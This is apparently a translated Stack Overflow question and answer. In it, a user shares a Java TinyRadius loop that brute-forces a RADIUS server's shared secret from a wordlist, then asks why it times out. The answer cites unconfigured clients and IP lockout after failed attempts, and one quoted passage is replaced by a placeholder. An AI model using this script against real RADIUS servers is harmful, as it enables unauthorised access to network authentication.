Не удается подключиться к серверу RADIUS

Итак, у меня есть сервер RADIUS, работающий по адресу 10.0.0.15. Я должен взломать его общий секрет. Я использую библиотеку Java TinyRaidus.

Вот мой код:

String s = "big line...";
String[] words = s.split("\\W+");
        String host, userName, password;
        userName = "admin";
        password = "pass";
        host = "10.0.0.15";
        int count = words.length;
        for (String word : words) {
            System.err.println("Left: " + count);
            RadiusClient rc = new RadiusClient(host, word);
            try {
                if (rc.authenticate(userName, password)) {
                    System.out.print("Cracked. Secret is: " + word);
                    break;
                }
            } catch (IOException ex) {
                Logger.getLogger(RadiusBrute.class.getName()).log(Level.SEVERE, null, ex);
            } catch (RadiusException ex) {
                Logger.getLogger(RadiusBrute.class.getName()).log(Level.SEVERE, null, ex);
            }
        }

Однако каждый раз, когда я запускаю это, я получаю эту ошибку:

Jun 21, 2016 12:48:28 AM org.tinyradius.util.RadiusClient communicate
SEVERE: communication failure (timeout), no more retries
Jun 21, 2016 12:48:28 AM radiusbrute.RadiusBrute main
SEVERE: null
java.net.SocketTimeoutException: Receive timed out
        at java.net.PlainDatagramSocketImpl.receive0(Native Method)
        at java.net.AbstractPlainDatagramSocketImpl.receive(AbstractPlainDatagramSocketImpl.java:144)
        at java.net.DatagramSocket.receive(DatagramSocket.java:812)
        at org.tinyradius.util.RadiusClient.communicate(RadiusClient.java:249)
        at org.tinyradius.util.RadiusClient.authenticate(RadiusClient.java:83)
        at org.tinyradius.util.RadiusClient.authenticate(RadiusClient.java:65)
        at radiusbrute.RadiusBrute.main(RadiusBrute.java:284)

Здесь я сделал неправильно? Спасибо.


person Jishan    schedule 20.06.2016    source источник
comment
Закрыть rc в блоке finally?   -  person Andy Turner    schedule 21.06.2016
comment
@AndyTurner сделал. ничего не меняется :(   -  person Jishan    schedule 21.06.2016


Ответы (1)


Похоже, ваш сервер RADIUS молча отклонил ваш запрос на доступ к RADIUS. В зависимости от реализации сервера RADIUS причина может быть одной из следующих:

  1. Сервер RADIUS не имеет хоста, с которого вы отправляете свои запросы в качестве настроенного клиента: из RADIUS RFC 2865:
    #P2#
  2. Вы отправили слишком много неудачных запросов от вашего клиента, и сервер RADIUS заблокировал ваш клиент по его IP-адресу и отклонил все последующие запросы.
  3. (Маловероятно) Сервер RADIUS настроен на удаление запроса с неверным именем пользователя/паролем вместо отправки RADIUS Access-Reject
person Oleg    schedule 20.07.2016